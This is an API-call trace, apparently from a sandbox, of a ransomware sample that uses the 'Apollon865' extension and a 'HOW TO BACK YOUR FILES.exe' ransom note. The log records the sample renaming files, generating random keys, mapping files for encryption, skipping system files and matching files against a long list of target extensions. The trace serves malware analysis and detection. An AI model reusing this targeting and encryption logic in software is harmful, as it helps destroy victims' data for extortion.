	[0062.478] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat.apollon865"), dwFlags=0x1) returned 1
	[0062.480] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0062.480] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=32768) returned 1
	[0062.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0062.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0062.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0062.480] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0062.481] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0062.481] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0062.481] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8300, lpName=0x0) returned 0x15c
	[0062.483] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8300) returned 0x100000
	[0062.557] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0062.558] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0062.558] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0062.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0062.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0062.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0062.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0062.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0062.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0062.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0062.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0062.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0062.559] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0062.559] CloseHandle (hObject=0x15c) returned 1
	[0062.559] CloseHandle (hObject=0x14c) returned 1
	[0062.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0062.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0062.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0062.560] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="Apollon865.txt.exe") returned 1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2=".") returned 1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="..") returned 1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="windows") returned -1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="bootmgr") returned 1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="temp") returned -1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="pagefile.sys") returned -1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="boot") returned 1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="ids.txt") returned 1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="ntuser.dat") returned -1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="perflogs") returned -1
	[0062.560] lstrcmpiW (lpString1="KQMHSVKD", lpString2="MSBuild") returned -1
	[0062.560] lstrlenW (lpString="KQMHSVKD") returned 8
	[0062.560] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat") returned 62
	[0062.560] lstrcpyW (in: lpString1=0x119e672, lpString2="KQMHSVKD" | out: lpString1="KQMHSVKD") returned="KQMHSVKD"
	[0062.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0062.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf5f0
	[0062.560] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7a70
	[0062.560] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0
	[0062.560] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.560] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0062.560] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD"
	[0062.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0062.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0062.560] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned 61
	[0062.560] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD"
	[0062.560] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.561] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0062.561] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.561] GetLastError () returned 0x20
	[0062.561] Sleep (dwMilliseconds=0xc8) 
	[0062.760] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0062.761] GetLastError () returned 0x0
	[0062.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0062.761] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0062.761] CloseHandle (hObject=0x15c) returned 1
	[0062.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0062.761] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.761] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.761] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.761] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.761] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.761] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.761] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.761] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.761] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.761] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.761] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0062.761] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.761] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0062.761] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0062.761] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0062.761] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0062.761] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0062.761] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0062.762] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0062.762] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0062.762] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0062.762] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0062.762] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0062.762] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0062.762] lstrlenW (lpString="desktop.ini") returned 11
	[0062.762] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*") returned 63
	[0062.762] lstrcpyW (in: lpString1=0x119e684, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0062.762] lstrlenW (lpString="desktop.ini") returned 11
	[0062.762] lstrlenW (lpString="Apollon865") returned 10
	[0062.762] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0062.762] lstrlenW (lpString=".dll") returned 4
	[0062.762] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0062.762] lstrlenW (lpString=".lnk") returned 4
	[0062.762] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0062.762] lstrlenW (lpString=".ini") returned 4
	[0062.762] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0062.762] lstrlenW (lpString=".sys") returned 4
	[0062.762] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0062.762] lstrlenW (lpString="desktop.ini") returned 11
	[0062.762] lstrlenW (lpString="bak") returned 3
	[0062.762] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0062.762] lstrlenW (lpString="ba_") returned 3
	[0062.762] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0062.762] lstrlenW (lpString="dbb") returned 3
	[0062.762] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0062.762] lstrlenW (lpString="vmdk") returned 4
	[0062.762] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0062.762] lstrlenW (lpString="rar") returned 3
	[0062.762] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0062.762] lstrlenW (lpString="zip") returned 3
	[0062.762] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0062.763] lstrlenW (lpString="tgz") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0062.763] lstrlenW (lpString="vbox") returned 4
	[0062.763] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0062.763] lstrlenW (lpString="vdi") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0062.763] lstrlenW (lpString="vhd") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0062.763] lstrlenW (lpString="vhdx") returned 4
	[0062.763] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0062.763] lstrlenW (lpString="avhd") returned 4
	[0062.763] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0062.763] lstrlenW (lpString="db") returned 2
	[0062.763] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0062.763] lstrlenW (lpString="db2") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0062.763] lstrlenW (lpString="db3") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0062.763] lstrlenW (lpString="dbf") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0062.763] lstrlenW (lpString="mdf") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0062.763] lstrlenW (lpString="mdb") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0062.763] lstrlenW (lpString="sql") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0062.763] lstrlenW (lpString="sqlite") returned 6
	[0062.763] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0062.763] lstrlenW (lpString="sqlite3") returned 7
	[0062.763] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0062.763] lstrlenW (lpString="sqlitedb") returned 8
	[0062.763] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0062.763] lstrlenW (lpString="xml") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0062.763] lstrlenW (lpString="$er") returned 3
	[0062.763] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0062.764] lstrlenW (lpString="4dd") returned 3
	[0062.764] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0062.764] lstrlenW (lpString="4dl") returned 3
	[0062.764] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0062.764] lstrlenW (lpString="^^^") returned 3
	[0062.764] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0062.764] lstrlenW (lpString="abs") returned 3
	[0062.764] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0062.764] lstrlenW (lpString="abx") returned 3
	[0062.764] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0062.764] lstrlenW (lpString="accdb") returned 5
	[0062.764] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0062.764] lstrlenW (lpString="accdc") returned 5
	[0062.764] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0062.764] lstrlenW (lpString="accde") returned 5
	[0062.764] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0062.764] lstrlenW (lpString="accdr") returned 5
	[0062.764] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0062.764] lstrlenW (lpString="accdt") returned 5
	[0062.764] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0062.764] lstrlenW (lpString="accdw") returned 5
	[0062.764] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0062.764] lstrlenW (lpString="accft") returned 5
	[0062.764] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0062.764] lstrlenW (lpString="adb") returned 3
	[0062.764] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0062.764] lstrlenW (lpString="adb") returned 3
	[0062.764] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0062.764] lstrlenW (lpString="ade") returned 3
	[0062.764] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0062.764] lstrlenW (lpString="adf") returned 3
	[0062.764] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0062.764] lstrlenW (lpString="adn") returned 3
	[0062.764] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0062.764] lstrlenW (lpString="adp") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0062.765] lstrlenW (lpString="alf") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0062.765] lstrlenW (lpString="ask") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0062.765] lstrlenW (lpString="btr") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0062.765] lstrlenW (lpString="cat") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0062.765] lstrlenW (lpString="cdb") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0062.765] lstrlenW (lpString="ckp") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0062.765] lstrlenW (lpString="cma") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0062.765] lstrlenW (lpString="cpd") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0062.765] lstrlenW (lpString="dacpac") returned 6
	[0062.765] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0062.765] lstrlenW (lpString="dad") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0062.765] lstrlenW (lpString="dadiagrams") returned 10
	[0062.765] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0062.765] lstrlenW (lpString="daschema") returned 8
	[0062.765] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0062.765] lstrlenW (lpString="db-journal") returned 10
	[0062.765] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0062.765] lstrlenW (lpString="db-shm") returned 6
	[0062.765] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0062.765] lstrlenW (lpString="db-wal") returned 6
	[0062.765] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0062.765] lstrlenW (lpString="dbc") returned 3
	[0062.765] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0062.765] lstrlenW (lpString="dbs") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0062.766] lstrlenW (lpString="dbt") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0062.766] lstrlenW (lpString="dbv") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0062.766] lstrlenW (lpString="dbx") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0062.766] lstrlenW (lpString="dcb") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0062.766] lstrlenW (lpString="dct") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0062.766] lstrlenW (lpString="dcx") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0062.766] lstrlenW (lpString="ddl") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0062.766] lstrlenW (lpString="dlis") returned 4
	[0062.766] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0062.766] lstrlenW (lpString="dp1") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0062.766] lstrlenW (lpString="dqy") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0062.766] lstrlenW (lpString="dsk") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0062.766] lstrlenW (lpString="dsn") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0062.766] lstrlenW (lpString="dtsx") returned 4
	[0062.766] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0062.766] lstrlenW (lpString="dxl") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0062.766] lstrlenW (lpString="eco") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0062.766] lstrlenW (lpString="ecx") returned 3
	[0062.766] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0062.766] lstrlenW (lpString="edb") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0062.767] lstrlenW (lpString="epim") returned 4
	[0062.767] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0062.767] lstrlenW (lpString="fcd") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0062.767] lstrlenW (lpString="fdb") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0062.767] lstrlenW (lpString="fic") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0062.767] lstrlenW (lpString="flexolibrary") returned 12
	[0062.767] lstrlenW (lpString="fm5") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0062.767] lstrlenW (lpString="fmp") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0062.767] lstrlenW (lpString="fmp12") returned 5
	[0062.767] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0062.767] lstrlenW (lpString="fmpsl") returned 5
	[0062.767] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0062.767] lstrlenW (lpString="fol") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0062.767] lstrlenW (lpString="fp3") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0062.767] lstrlenW (lpString="fp4") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0062.767] lstrlenW (lpString="fp5") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0062.767] lstrlenW (lpString="fp7") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0062.767] lstrlenW (lpString="fpt") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0062.767] lstrlenW (lpString="frm") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0062.767] lstrlenW (lpString="gdb") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0062.767] lstrlenW (lpString="gdb") returned 3
	[0062.767] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0062.768] lstrlenW (lpString="grdb") returned 4
	[0062.768] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0062.768] lstrlenW (lpString="gwi") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0062.768] lstrlenW (lpString="hdb") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0062.768] lstrlenW (lpString="his") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0062.768] lstrlenW (lpString="ib") returned 2
	[0062.768] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0062.768] lstrlenW (lpString="idb") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0062.768] lstrlenW (lpString="ihx") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0062.768] lstrlenW (lpString="itdb") returned 4
	[0062.768] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0062.768] lstrlenW (lpString="itw") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0062.768] lstrlenW (lpString="jet") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0062.768] lstrlenW (lpString="jtx") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0062.768] lstrlenW (lpString="kdb") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0062.768] lstrlenW (lpString="kexi") returned 4
	[0062.768] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
